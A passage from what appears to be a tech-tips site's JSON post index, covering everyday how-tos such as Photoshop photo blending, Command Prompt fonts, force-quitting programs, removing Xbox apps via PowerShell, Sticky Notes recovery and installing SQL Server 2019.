5\nStep 5 : Mix 2 pictures.\nNote : the arrangement of the previous and next layers is very important, it determines whether you intend to blend any layer into any layer to make it natural.\nFor this example, I arrange the \"student\" layer above the \"Hue\" layer.\nMy next job now is to blur the \"student\" Layer.\n- Click on the \"student\" layer (If you intend to blur any layer, click on that layer)\n  Figure 6\n- Using Rectangular Marquee , or Elliptical Marquee choose Feather : 20-50 px, depending on the angle and size of the image.\n  \nSurround the corners you want to delete on the \"student\" layer.\n  Figure 7\n- Press the \"Delete\" key on the keyboard to delete the selected area.\n- Repeat the steps to select and delete the image corners as you like. until you feel the two images are relatively mixed.\n  Figure 8: The image after the transplant is completed\nThis result is not yet a complete image. We will need to correct the color of the image hocsinh.jpg so that it matches the image hue.jpg . But how to adjust the color in PS, I will introduce you to the following articles.\nExample 2: How to blend lotus photos in Photoshop In this example, I skip steps 1- 4. The purpose is to help you better use the marquee tool to blur the layers as needed and why there are cases where you have to erase both layers.\n- I have: \"Lotus 1\" and \"Lotus 2\" Layer on the same new document (500 x 250 px)\n  Figure 9\nStep 5 : Blur the lotus layer 2.\n- Click on the lotus layer 2\n  Figure 10\n- Using Rectangular Marquee , set Feather : 30px (This Feather level increases and decreases with image size, and image selection area)\n  Figure 11\n- Delete the selected area with the \"Delete\" key on the keyboard\n- Repeat steps 5 -\u0026gt; Results\n  Figure 12\nYou might be wondering, because you see a blurry line separating the two images. Do not worry! That's the edge of the lotus image. Now we will proceed to blur the lotus layer 1.\nStep 6 : Blur the lotus layer 1\n- Click on the lotus layer 1\n  Figure 13\n- Next you also use the Rectangular marquee to perform the deletion steps as Step 5 (but you have to remember to increase or decrease the Feather to match the image size.)\nThe end result you will see.\n  Figure 14\nHopefully this article can help you understand the basic skills to combine photos with Photoshop.\nIf you're using Photoshop CS5, please refer to this basic to advanced tutorial series:\nHow to use Photoshop CS5 - Part 1: Toolbox ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufoq%2BqusRmp6GnpKTAbrXNZqehp6SkwKm7z2adq6edYn9usMifnZ6qlaPBbrXMmp6eqw%3D%3D\n","link":"/post/how-to-combine-photos-in-photoshop-from-2-different-images/","section":"post","tags":null,"title":"How to combine photos in Photoshop from 2 different images"},{"body":" Many people work regularly with the Windows command prompt. One of the main problems users encounter, however, is the difficulty of achieving the same look every time one works with the command prompt interface. This article is intended to...\nPart 1of 2:\nChanging the Colors and Fonts  To open command prompt, click \"Start\", \"Run\", type \"cmd\" (without the quotes) and press OK.\n  Right-click on the top (the title bar) of the command prompt window and select \"Properties\". You can also access the properties window by holding ALT+SPACE+P. Notice the four tabs at the top of the properties dialogue box: Options, Font, Layout, Colors.\n  When you open the \"Options\" tab, check \"Quick Edit Mode\". This will enable you to use the \"copy and paste\" function in the command prompt window. It is also recommended that you select \"Discard Old Duplicates\".   Click on the \"Layout\" Tab. You will see two sets of options: \"Window size\" and \"Screen buffer size\". Window size controls the size of the window you're working with. Screen buffer size controls what's kept in your computer's buffer memory while you're running the command prompt, which can be up to 9999. It can be viewed using the scroll bar on the side of the window.  Set a proper buffer size according to how much space you will need to keep at any given time. A width of 80 and height of 300 is a common buffer size.    Choose the color of your text, background screen, and pop-up windows by selecting the \"Colors\" tab. As you will see, there's an additional frame where you can edit the colors more specifically by their numeric values. For example, you can choose a darker green than you already have access to by plugging in: red:0, green:100, blue:0.\n  Open the \"Font\" tab. This is where you choose the font you would like to use. You will see two fonts: Raster fonts (as default) and Lucida Console. With this initial step, however, you only have these two fonts available to you. But don't worry, the next step allows you to add new fonts.\n Part 2of 2:\nAdding New Fonts  To add new fonts, click \"Start\", \"Run\" and type \"regedit\" (without the quotes). Press OK.\n  Go to this key: \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionConsoleTrueTypeFont\".\n  Before you proceed please take a look at the \"Warnings\" section below. Right-click on \"TrueTypeFont\" key, click \"New\" and then click \"String Value\".\n  Enter \"00\" (without the quotes) as the name of the new value you just created. For the next values, just enter a \"0\" each time. For example, the third value should be named \"000\" and so on. Please note that you have to name them exactly as shown; otherwise, the function won't work.\n  Now, double-click on the value you created and write the font name in the \"value data\" bar (for example, \"courier new\").\n  Close \"Registry Editor\" and reboot your computer. You should be able to see the new font(s) under the \"Font\" tab in the properties window the next time you run command prompt.\n  To save changes, after you press \"OK\" in the properties window, choose one of the following options: \"Apply properties to current window only\". This means that all changes will be gone as soon as you close the current command prompt. \"Save properties for future windows with same title\". Selecting this option will save your changes for all command prompt windows running from the same shortcut. In other words, this is the proper option to set the properties for this specific shortcut.   Right-click on the top of the command prompt window (the title bar) and click \"Defaults\", which will give you have access to a window like the properties window. Using this window, however, will affect every command prompt, no matter where it's running from.\n  Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGasmJp6p7vNrWSipl2stq%2BwzrCqZpuforqiusNmp6unnaXB\n","link":"/post/how-to-customize-the-font-in-windows-command-prompt/","section":"post","tags":null,"title":"How to Customize the Font in Windows Command Prompt"},{"body":" Sometimes a program will just not respond to any commands and will need to be forcibly shut down. There are a few different ways to do this, depending on the severity of the broken program, and your operating system. Hold down + + . This...\nMethod 1of 3:\nUsing Task Manager (Windows)  Hold down Ctrl + Alt + Del. This combination of keys will open up a screen with four options: Lock, Switch User, Sign out, and Task Manager.\n  Click on Task Manager. Task Manager on Windows contains information about processes, programs, and services currently running on your system.\n  Switch to the Task Manager window. If after clicking the Task Manager link, you do not see any window pop up, it may be hidden behind the frozen program. Try pressing Alt+Tab ↹ to switch to the Task Manager window. Solve this problem in the future by clicking on the Options tab in the upper left corner off the Task Manager window, then make sure Always on top is selected from the dropdown menu.   Find and click on the unresponsive program. The program will likely be under the Apps header. In the Status column, the unresponsive program will be marked by a Not responding tag.\n  Click End Task. Once a program is selected and highlighted, click the End Task button in the bottom right-hand corner of the Task Manager window. Click End Program from the pop-up dialog box when prompted.\n Troubleshooting  Click the Processes tab. If ending the task from the Applications tab/list, you may have to end the actual process. If you are using Windows 8, you will have to click More Details from the bottom of the Task Manager window to reveal the Processes tab.\n  Find the process and click it. There will be a lot more in the Processes list than in the Applications list, since it also lists background processes. You may need to search a bit to find your process.\n  Click End Process. Once you have found and selected the correct process, click the End Process button from the bottom right of the Task Manager window.\n Method 2of 3:\nUsing the Command Prompt (Windows)  Open Command Prompt as administrator. Press ⊞ Win then type cmd. Right-click the Command Prompt icon and select Run as Administrator from the dropdown menu. If prompted, select Yes from the pop-up dialog box.   Terminate the program. Type taskkill /im filename.exe into the Command prompt and press ↵ Enter. Replace 'filename' with whatever the title of the program is. For example, if you were trying to close iTunes, you would replace it with 'iTunes.exe'.\n Method 3of 3:\nUsing Force Quit (Mac)  Open Force Quit. Press Command + Option + Escape to open the Force Quit window. You will see a list of all active programs.\n  Force quit the program to close. Find the unresponsive program, select it, then click the Force Quit button in the bottom right of the window.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2onsFuu9StZKieXZZ6p77Os5ynZZOkurHB056pZqiipLSzrcw%3D\n","link":"/post/how-to-exit-out-of-a-frozen-computer-program/","section":"post","tags":null,"title":"How to Exit out of a Frozen Computer Program"},{"body":"During the process of playing Pokemon GO, quite a lot of players encountered the \"GPS signal not found\" error. This error occurs on both Android and iOS devices. So how to fix this error, please refer to the following article of Network Administrator.\n  1. GPS error signal not found If during the process of opening Pokemon GO on your iPhone a \" GPS signal not found\" error message appears, follow these steps to fix the error.\n1.1. Turn on Wifi 1. During the process of playing Pokemon GO, swipe from below the screen to access Command Center.\n2. Click the Wifi icon to turn on Wifi.\n3. Swipe down the screen again to return to the game.\n  1.2. If the GPS error still occurs, close the application and reload   In some cases the fastest is to close the application and reopen the application again to reconnect and find GPS signal, then return to the game.\n1. Go back to the Home Screen screen (if possible) by pressing the Home button.\n2. Open a new application and wait for a few minutes.\n3. Press twice on the Home button to open the multitasking screen.\n4. Swipe the cards until you find Pokemon GO cards.\n5. Click the Pokemon GO card to access the app again.\n1.3. Check if GPS is enabled? On some Android devices, by default GPS will be turned off to extend battery life for the device. So if you have a \"GPS signal not found\" error when playing Pokemon GO, please check if the GPS on your device is enabled.\nTo do this thing:\n1. Click the Settings icon on your Android device or access Settings via Quick Settings.\n2. Next scroll down to find and click Privacy and safety.\n3. Click Select Location.\n  \n4. Make sure the Location status is switched to ON.\n5. Click to select the Locating method . On some devices, this option is also called Location mode.\n6. Click to select GPS, Wi-Fi, and mobile networks . On some other devices this option is called High accuracy.\n7. Make sure Wifi is always open during the game.\n  1.4. Reset the network setup This solution applies on iPhone devices. Go to Settings =\u0026gt; General =\u0026gt; Reset =\u0026gt; Reset network settings.\n1.5. Disable Mock Locations Note: Only applicable on Android devices.\nGo to Settings =\u0026gt; About Phone and click 7 times on Build Number to activate Developer Options. Here you access Locations and disable Mock Locations.\n1.6. Open Google Maps in the background This may sound unreasonable, but some Pokemon GO players on iPhone devices have adopted this method and fixed the error. Open the Google Maps application and then return to the Pokemon GO game and notice that the error no longer appears.\n1.7. Power off your device then reopen This is the worst solution to apply in case you have applied the above solutions but cannot fix the error.\n2. How to save battery when playing Pokemon GO? Although catching Pokemon is quite interesting, but many players may not be aware that this is also one of the causes of \"battery drain\" in a terrible way.\nIf you have not downloaded and installed Pokemon GO to your computer and play, you can download Pokemon GO to your computer and install it here:\nDownload Pokemon GO for Android here. Download Pokemon GO for iOS here. Download Pokemon GO for PC computers here. To save battery power when playing Pokemon GO, you can refer to some solutions below:\n2.1. Reduce screen brightness Screen brightness, GPS and Wi-Fi connectivity are the reasons for consuming the iPhone's battery the most.\nTo play Pokemon GO, you need both GPS and Wifi connection or data connection in case of no Wifi or in case of moving to catch Pokemon.\nSo to save the maximum battery level for your device when playing Pokemon GO, the only way is to reduce the screen brightness.\n2.2. Turn off AR Augmented Reality is the most important, attractive part of the game, to make sure there are interesting things that will happen when you see Psyduck appear. However, the AR requires a camera to be opened, and this is also the cause of \"consuming the battery\" of your device.\nIf you're going to catch Pokemon GO creatures, it's best to turn off the AR to extend your device's battery life.\n2.3. Use backup battery charger This is not the best solution for you to choose, but this solution will help you maintain battery power on your device during Pokemon hunting or in battles at the gym.\n3. How to play Pokemon when having a server error? If during login for your account to play Pokemon GO, you receive a server error message that is overloaded and cannot log in to play the game. The usual way you use it is to log in to your account again in a few minutes, but the fastest way is to restart your device.\n1. Go back to the Home screen (if possible) by pressing the Home button.\n2. Double-click the Home button to open the multitasking sceen screen.\n3. Swipe the cards to find the Pokemon GO card, then swipe the Pokemon GO card upwards to force the application to exit.\n4. Try re-opening Pokemon GO and login again.\n4. Fix crashed Pokemon GO   4.1. First exit the application then reopen 1. Go back to the Home screen (if possible) by pressing the Home button .\n2. Open a new application and wait for a few minutes.\n3. Press twice on the Home button to open the multitasking screen.\n  4. Swipe the cards until you find Pokemon GO cards.\n5. Click the Pokemon GO card to access the app again.\n4.1. If there are still errors unfixable bug If your game still crashes, then you have to restart the Pokemon GO then reopen the app and continue to catch the creatures. However, your data will be lost, but this is probably the only way to fix this error.\n1. Go back to the Home screen (if possible) by pressing the Home button.\n2. Double-click the Home button to open the multitasking sceen screen.\n3. Swipe the cards to find the Pokemon GO card, then swipe the Pokemon GO card upwards to force the application to exit.\n4. Re-open Pokemon GO and log in again.\nRefer to some of the following articles: How to catch Pokemon rare in Pokemon GO Summary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone Evolution of Eevee - The potential Pokemon in Pokémon Go Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqovNJmqqKfnpa5brrOrWSfp6WjsW6x0aumq2WRo7Fuv86mnGanpJ2ys3nEq6moqqNixKmxzWanpZmpnruoec%2Boop6ln6N6qLs%3D\n","link":"/post/how-to-fix-gps-signal-not-found-error-and-some-other-errors-when-playing-pokemon-go/","section":"post","tags":null,"title":"How to fix 'GPS signal not found' error and some other errors when playing Pokemon GO"},{"body":"There are many cases when customers buy and use Viettel scratch card products with paper for phone recharge, game loading . have encountered situations unfortunately unfortunately tearing cards or wetting cards or scratching their hands. to lose the card number always. Normally, customers who encounter this situation will not be able to use the scratch card number of the purchased Viettel card's face value and will have to discard it if they do not know how to retrieve the scratch card code.\nTo avoid waste when customers cannot use the recharge card because there are not enough scratch card numbers, we recommend how to get extremely simple card codes. Please refer to the following content to know how to get the card number quickly.\nLeaving the scratch card lost again, we follow these steps:\n1. Conditions for exchanging scratch cards when losing numbers   To be able to exchange a new scratch card, your old scratch card must be 4 corners intact, not crumpled. Secondly, this scratch card has not been used yet. The serial number is not deleted or lost. 2. How to change scratch cards   To be able to change the new scratch card when the old card lost your number, do the following:\nDepending on the phone cards of different carriers, you can bring to the nearest authorized transaction or transaction point for assistance with exchanging cards with par value equivalent to a damaged old card. When you pay, you need to bring your lost card and your ID number to confirm. Fee for exchanging scratch cards when losing numbers: Completely free. 3. In case of losing the phone number, phone scratch card   The Seri code on the phone scratch card is extremely important, it determines whether your card can be returned, as well as whether the check on the scratch card system has been loaded. Or in online purchase, bank transfer. When you still have the recharge code (after the silver class) but accidentally lose the serial number you need to do the following:\nMake sure the load sequence number is intact and clear.\nCall the card's switchboard to get support from the counselor to retrieve the serial number (you can answer the questions that the counselor requires).\n  Number of switchboards of operators\nViettel network switchboard: 198. Mobifone switchboard: 9090. Vinaphone operator: 9191. So we have just come together to learn about the operation of changing scratch cards, handling lost scratch cards, Viettel, Vinaphone, Mobifone phone cards so that you can continue the card loading process. Recharge your subscribers to maintain the service, call texting when needed.\nIn addition, we also have a lot of other tips to help users save more every time they load that card is how to load cheap phone cards, buy cheap phone cards Viettel, Mobi, Vina. With this cheap way to recharge phone cards is essentially the purchase of extremely secure online phone cards, you can be assured of the quality of use as well as the face value when buying.\nMaybe you are interested:\nHow to change to Viettel Student sim and register for a 10GB Facebook package for free How to shoot money Vinaphone with 2Friend money transfer service List of top number of mobile networks in Vietnam ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXq1tMRmqpyqkamwqbHDZpqaqpRir6KvymajqKukYsGpsYynrKaalad6sLKMp5ytr5%2BnuG67z56pmqyfp8A%3D\n","link":"/post/how-to-get-the-scratched-card-back-lost-the-number-of-network-operators/","section":"post","tags":null,"title":"How to get the scratched card back, lost the number of network operators"},{"body":"Windows 10 introduced many great features, including Xbox integration for gamers. In fact, not everyone is a gamer. However, this does not prevent Microsoft from including it for everyone.\nIf you are trying to remove the Xbox, you may notice there is no uninstall option there. The good news is you won't be stuck with the Xbox. There is another way to delete this application.\nPurpose of the Xbox application Xbox application has become the application for every gamer playing between Xbox and PC. The application provides many features, such as remote gaming, chatting with friends, etc.\nFor those who don't use this app and will never use it in the future, it's just a bloatware that takes up space on a Windows 10 PC. XBox is one of several Universal applications that Microsoft assumes. Everyone wants to use.\nRemove Xbox from Windows 10 Although you can easily remove most applications from Add or Remove Programs , you don't have the uninstall option for Xbox. Instead, you have to take a different approach with Windows PowerShell.\nThe process is quick and should not cause any problems with the PC. However, backing up files in this case is always a wise choice.\nTo get started, open the Windows Start menu and enter PowerShell. Then open PowerShell as admin. You will need admin rights to do this. Wait for the PowerShell window to open and the prompt to appear.\nOpen PowerShell as admin Type (or copy and paste) the following command, then press Enter.\nGet-AppxPackage Microsoft.XboxApp | Remove-AppxPackage If you receive an error message, try the following command instead:\nGet-AppxPackage *xboxapp* | Remove-AppxPackage Command to completely eliminate Xbox This command will remove the Xbox completely, at least the main application.\nRemove additional Xbox apps If you search on a PC, you'll find some Xbox-related applications still on the computer. While you cannot remove system-level settings and applications, such as Game Bar and Xbox Networking, you can still delete the following:\nXbox Game Overlay Xbox Gaming Overlay Xbox Identify Provider Xbox Speech To Text Overlay Again, remember to back up the files before deleting the application via PowerShell in case something goes wrong.\nYou will use PowerShell just like you did to delete the main Xbox application. However, you will enter them one by one. Click Enterafter each line and wait for the removal process to complete.\nGet-AppxPackage Microsoft.Xbox.TCUI | Remove-AppxPackage Get-AppxPackage Microsoft.XboxGameOverlay | Remove-AppxPackage Get-AppxPackage Microsoft.XboxGamingOverlay | Remove-AppxPackage Get-AppxPackage Microsoft.XboxIdentityProvider | Remove-AppxPackage Get-AppxPackage Microsoft.XboxSpeechToTextOverlay | Remove-AppxPackage As with deleting the main Xbox application, if you encounter any errors, change the Microsoft section of the line to * appname * , where appname is the application listed from Microsoft. For example, Microsoft.XboxGameOverlay will become * xboxgameoverlay *.\nWhen done, please restart the computer. Some files may still not disappear. These are the leftover application files. You can use a search engine to find these files and delete them. You can also use Windows built-in tools or system cleaners.\nRestore Xbox application If you want to restore the Xbox app, reinstall it from the Microsoft Store. There are several versions, including beta versions, to try out.\nYou can also expect a major Windows 10 system update, which usually happens once or twice a year. Sadly, Universal apps often reappear with major system updates, so you'll need to redo the deletion process again.\nMicrosoft lists the names of most of these applications so you can better control what is on your PC and understand what those applications are for. Refer to more details at:\nhttps://docs.microsoft.com/en-us/windows/application-management/apps-in-windows-10ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyxmaiwXZi8rrzLnquepKlis7O7zGauoqaUpMS0eZBp\n","link":"/post/how-to-remove-xbox-completely-from-windows-10/","section":"post","tags":null,"title":"How to remove XBox completely from Windows 10"},{"body":"One of the great benefits of having a Microsoft account is the ability to use your login information to log in to other applications and services.\nSometimes, applications and services will integrate with your account in some way. For example, you can connect your Google and Microsoft accounts so you can synchronize email and calendar between two services.\nHowever, if you have used your Microsoft login information as a way to access third-party services over the past few years, you may have a long list of connected applications that present you. No longer used.\nFrom a security standpoint, this is not good. Typically, you will grant these applications different reading and editing capabilities. If an old application is handed to another person, the owner can use those permissions in illicit ways.\nTo remedy this situation, you need to take action to recover third-party access for applications that you no longer use.\nHow to revoke access to your Microsoft account   To revoke third-party access to your Microsoft account, follow these steps:\n1. Go to account.microsoft.com/account and log in to your account.\n2. Click the Privacy tab at the top of the page. You may need to verify your identity by emailing code.\n3. Scroll to the Other privacy settings section .\n4. Go to the Apps and services section\u0026gt; Apps and services that can access your data .\n5. Review the application list and set the applications you want to recall.\n6. Click Edit under the corresponding application name.\n7. Select Remove these permissions .\nGood luck!\nSee more:\nHere's how to completely remove a Microsoft account on a Windows 10 computer Instructions for creating a Microsoft account for Windows Phone Instructions for linking Windows 10 Product key to Microsoft account ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVq7yssYytn6KqlKWus8DYZpicm5WowG7AzmaYZqWZmL%2Bwv86fq2aZk5i8trrT\n","link":"/post/how-to-revoke-third-party-access-to-a-microsoft-account/","section":"post","tags":null,"title":"How to revoke third-party access to a Microsoft account"},{"body":"There are many ways to transfer photos from iPhone to Windows 10 PC that Quantrimang introduced to readers. These are quite common ways, you can use both cables connecting two devices and the cloud like Google Drive, Dropbox to access from anywhere.\nBut there's a free app for iOS that helps users easily transfer iPhone photos to Windows 10 PC , all you need is to install the app, connect 2 devices with the same Wi-Fi network.\nStep 1: Connect iPhone / iPad and Windows 10 computer with the same Wi-Fi network. Note that the network also does not need to operate.\nStep 2: Find Voxeloid Kft's WiFi Photo Transfer application on the App Store and install it on iPhone. Application is completely free. https://itunes.apple.com/us/app/wifi-photo-transfer/id380326191?mt=8\nStep 3 : Install and select OK when you see the request to access ' WiFi Photo would like to access your photos '. The next time you use it, this request will not appear again.\n   The application asks for only one time access when installing\nStep 4 : You will see the web address on the application as shown below.\n  Web address on application\nStep 5: Open the web browser on your PC and type the web address displayed on the application, then click Enter.\nStep 6 : You will see the iPhone collection on your computer's web browser. Click Camera Roll or WhatsApp to view photos saved on camera roll and images / videos received via WhatsApp.\n  Type the address on the browser to access the iPhone data store\nNote: Always turn on the WiFi Photo Transfer app on your iPhone until you transfer it to your PC.\nStep 7: To view photos or videos, just click. Once opened, you will see a download option. To download all images, click Download in .zip .\n  Select each photo or video you want to download or download all as a zip file\nIf not, you can select each image you want to download or select a certain image area and select Download selected to download the selected image as a zip file.\nOn the computer, just extract this file and you get the desired image and video.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZKmgn6m8tHnFq6amZZmltbC6xGarqGWnnrulu9asZGpoXaWw\n","link":"/post/how-to-transfer-photos-from-iphone-to-windows-10-pc/","section":"post","tags":null,"title":"How to transfer photos from iPhone to Windows 10 PC"},{"body":" This wikiHow teaches you how to use Microsoft Paint on a Windows computer. Microsoft Paint is a classic Windows program that has survived the transition to Windows 10. Open Start . Click the Windows logo in the bottom-left corner of the...\nPart 2of 8:\nDrawing and Erasing  Review the toolbar. The toolbar, which is at the top of the Paint window, is where you'll find all of the options used to interact with the Paint canvas.\n  Select a primary color. Click any color in the palette that's in the top-right side of the Paint window to apply it to the \"Color 1\" box. This is the color that you'll use when using the left mouse button on the canvas. You can create a custom color by clicking Edit colors in the upper-right corner of the window, selecting a color and shade you want to use in the color wheel, and clicking OK.   Select a secondary color. Click the \"Color 2\" box to the left of the color palette, then click the color you'd like to use as your secondary color. You'll activate this color by using the right mouse button on the canvas.\n  Select a brush type. Click the Brushes option at the top of the Paint window, then click the type of brush tip you want to use. This is what affects the line size, shape, and width options. If you just want to draw a regular free-form line, click the pencil-shaped \"Pencil\" icon in the \"Tools\" section.   Select a line thickness. Click the Size option to the left of the color palette, then click the line thickness you want to use while drawing.\n  Click and drag across the canvas to draw. Holding down the left mouse button while dragging will draw your line. You can click and drag with the right mouse button to use your secondary color.   Fill a section with color. Click the \"Fill with color\" tool, which resembles a paint bucket, in the \"Tools\" section, then click the canvas to change an entire section of it to your primary color (you can right-click to use your secondary color instead). If you have the canvas sectioned off (e.g., a line dividing the canvas in two), only the section in which you click will be filled with color. If your canvas is blank or contains no full sections, your whole canvas will be filled in when you use the \"Fill with color\" tool.   Erase mistakes. You can use the eraser function by clicking the pink \"Eraser\" icon in the \"Tools\" section and then clicking and dragging the eraser over the portion of the image you want to erase. The eraser will use your secondary color, so you may have to reset the secondary color to white (or your drawing's background color, if different) before erasing.  Part 3of 8:\nCreating a Shape  Select a color. Click the color you want to use as your shape's outline.\n  Select a \"Fill\" color if necessary. If you want to fill the shape with a color rather than just drawing the outline of the shape, click the \"Color 2\" box and then click the color you want to use for the fill color.\n  Find a shape to use. In the \"Shapes\" section of the toolbar, scroll up or down to see all of the available shapes.\n  Select your preferred shape. Click the shape you want to use to select it.\n  Select a line thickness. Click Size, then click the line thickness you want to use in the resulting drop-down menu.\n  Select an \"Outline\" option if needed. By default, the shape's outline will be the same color as the \"Color 1\" box; if you want to change the consistency of the color or remove it entirely, click the Outline drop-down box, then click an option (e.g., No outline) to apply it.\n  Select a \"Fill\" option if you like. If you selected a \"Fill\" color, you can add the \"Fill\" option to your shape: click Fill, then click Solid color. You can select a different \"Fill\" option (e.g., Crayon) to use a stylized fill texture.   Click and drag diagonally across the canvas. This will draw your shape.\n  Anchor the shape. Once the shape fits the size and location you had in mind, release the mouse button and click outside of the Paint canvas.\n Part 4of 8:\nAdding Text  Select a text color. Click the \"Color 1\" box, then click the color you want to use.\n  Click A. It's at the top of the window.\n  Select a location for your text. Find the place on your canvas in which you want to place the text, then click the place in question. You should see a dotted line indicating a text box appear.\n  Change the text's font. In the \"Font\" section of the toolbar, click the top text box and then click the font you want to use in the resulting drop-down menu.\n  Change the font's size. Click the number below the font name, then click the number you want to use for your font.\n  Add formatting to the text. If you want to bold, italicize, and/or underline your text, click the B, I, and/or U button(s) in the \"Font\" section of the toolbar.\n  Increase the text box's size if necessary. Since you adjusted the default font and size, you may need to enlarge the text box. You can do this by placing your mouse cursor over one of the corners of the text box and then dragging diagonally away from the text box's center.\n  Enter your text. In the text box, type in the text that you want to display.\n  Give your text a background if you like. If you don't want your text to sit on whatever background items are on your canvas, click Opaque in the \"Background\" section of the toolbar. Your text's background will be the secondary color listed in the \"Color 2\" box.   Anchor your text. When you're done editing your text, click anywhere on the canvas (or outside of it) to anchor the text. Once text has been anchored, you can't move it.  Part 5of 8:\nOpening an Image  Click File. It's in the top-left corner of the Paint window. A menu will appear.\n  Click Open. This is in the middle of the menu. Doing so opens a File Explorer window.\n  Select a photo. Go to the file location of the photo that you want to open in Paint, then click the photo to select it.\n  Click Open. It's in the bottom-right corner of the window. Your photo will be uploaded to Paint, and your Paint canvas should resize to fit the photo.\n  Use the right-click menu to open images in Paint. If you ever want to open an image in Paint when Paint isn't already open, you can right-click the image, select Open with in the drop-down menu, and click Paint in the resulting pop-out menu.\n Part 7of 8:\nResizing an Image  Click Resize. It's in the Paint toolbar. A pop-up window will appear.\n  Check the \"Maintain aspect ratio\" box. This option is in the middle of the window. Doing so ensures that any changes you make to either of the size values won't distort your photo. If you want to increase your photo's height without increasing its width (or vice versa), skip this step.   Check the \"Percentage\" box. It's at the top of the window. If you want to resize your image to a specific pixel rating, check the \"Pixels\" box instead.   Change the \"Horizontal\" value. In the \"Horizontal\" text box, type in whatever number you want to use to resize your photo (e.g., to double its size, you would type in 200). If you're using pixels instead of a percentage, you'll type the number of pixels to use into the \"Horizontal\" text box. If you left the \"Maintain aspect ratio\" box unchecked, you'll also need to change the \"Vertical\" text box's value.   Skew your photo if you like. Skewing a photo will angle it to the left or right. To skew your photo, type a number into the \"Horizontal\" and/or \"Vertical\" text fields under the \"Skew (Degrees)\" heading. If you want to skew the photo in the opposite direction, type in a negative value (e.g., \"-10\" instead of \"10\").   Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqutcKrpqynlql6sa3Ip6tmoZ5ixKq6w6iurA%3D%3D\n","link":"/post/how-to-use-microsoft-paint-in-windows/","section":"post","tags":null,"title":"How to Use Microsoft Paint in Windows"},{"body":"Sticky Note was first introduced on Windows Vista. This is a utility that allows users to record notes (reminders) right on the Desktop screen.\nBy default, when deleting any Sticky Notes on the Desktop, Sticky Notes will ask you to confirm whether you want to delete the Note. However this feature has been disabled.\nIf you accidentally accidentally missed the important Note, how to restore these Note. Please refer to the following article of Network Administrator.\n1. Restore deleted Note Note Step 1: Press the Windows + R key combination to open the Run command window.\nStep 2: On the Run dialog window, paste the path below and press Enter:\n% AppData% MicrosoftSticky Notes\n  \nStep 3: In the Sticky Note folder you will see the StickyNote file (.SNT). When you double-click the file, it will not work. The simple reason is that Windows is not associated with the .SNT extension.\n  Right-click the StickyNotes file (.SNT) and open the file with Microsoft Office Word .\n  After opening the file in Word, the content in Note is displayed on the Word document.\n  Note:\nIf your computer does not have Word installed, you can open StickyNotes.SNT file with another program similar to Word.\nIf the content you open does not display, you can restore the file from the previous version by right-clicking on the StickyNote.SNT file and then selecting Restore previous versions .\nIf not on the previous version, it is possible that the File History feature has been disabled.\n2. Activate the deletion of Sticky Notes Step 1: Enter Regedit in the Start Menu or Start Screen or the Run dialog box and press Enter to open the Registry Editor.\nStep 2: Navigate according to the key below:\nHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionAppletsStickyNotes\nStep 3: In the list of right frame options, double-click PROMPT_ON_Delete and change the value from 0 to 1 to activate the delete confirmation dialog.\n  From now on when you click the X icon to delete Note, the warning message will be displayed on the screen '' Delete Note: Are you sure you want to delete this Note? \" refuse to delete.\n  Refer to some of the following articles: Free note-taking software for Windows 7 and 8 How to type Vietnamese in Sticky Notes Tips for using Sticky Notes in Windows 7 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWjqbakt9hmpaislWKxprjErZydZZ%2Bjeri1zZ2msKs%3D\n","link":"/post/restore-sticky-note-deleted-on-windows/","section":"post","tags":null,"title":"Restore Sticky Note deleted on Windows"},{"body":"In this article, I will go with you to install SQL Server but it is a developer version, so that you can experience this database management system.\n#first. Install SQL Server 2019 + Step 1: First you download the installation file here.\n+ Step 2: There will be two versions here:\nDeveloper for development environments. Test or Express is the version for the Production environment. =\u0026gt; You can download the Developer version to install as shown below.\n  + Step 3: After the download is complete, run the installation file (double click on the file) to start the installation. There will be 3 options for you to choose from =\u0026gt; here I will choose Custom (custom).\n  Minimum hard drive space requirement is 8G (8994MB to be more precise) By default, the application will be installed at C: SQL2019. You can change it by clicking Browse. as shown below.\n=\u0026gt; Then you click Install to start the installation.\n  + Step 4: Now the installation packages will be downloaded to your computer via the Internet. The download process may take 3-5 minutes depending on the network speed.\nPlease note to keep an Internet connection during the installation process.\n  + Step 5: At the beginning of the installation, select the Installation tab as shown below.\n  + Step 6: Then select the first option as shown below: New SQL Server stand-alone installation.\n  + Step 7: Next will come to enter the Product Key, you can choose Specify a free edition =\u0026gt; select Developer to not have to enter the key.\n=\u0026gt; Then click Next to continue.\n  + Step 8: Continue to the step to confirm the installation terms, then check the button I accept the license… =\u0026gt; then click Next to go to the next step.\n  Continue to tick Use Microsoft Update to check for updates to update future updates.\n  In this step, you click Next to go to the next step.\n  + Step 9: In this step you will choose the features, if you are new to learning how to use SQL server, you can check the Database Engine Service =\u0026gt; then click Next.\n  + Step 10: Go to the first configuration step, then choose as shown below =\u0026gt; then click Next for yourself.\n  Configure the server, you leave the default and then click Next.\n  With the Database configuration step, you should note the options like the image below. Enter a password (please note that you must remember this password).\n=\u0026gt; Then add admin rights =\u0026gt; and click Next to continue.\n  Next, click Install to start the installation.\n  + Step 11: The installation process is not too long, after successful installation, there will be a Complete message as shown below. Ok, that's the end of the SQL Server installation step.\n  #2. How to install SQL Server Management Studio For those of you who don't know, SQL Server Management Studio (SSMS) is an interface tool that makes working with SQL Server easier.\n+ Step 1: First you download the installation file here.\n  + Step 2: After the download is complete, double-click on the downloaded file to install it. By default the tool will be installed at:\nC:Program Files (x86)Microsoft SQL Server Management Studio 18.\n=\u0026gt; You can change or keep the default like me =\u0026gt; then click Install to install.\n  The installation process takes about 1-2 minutes, so you should keep an Internet connection.\n  + Step 3: Ok, 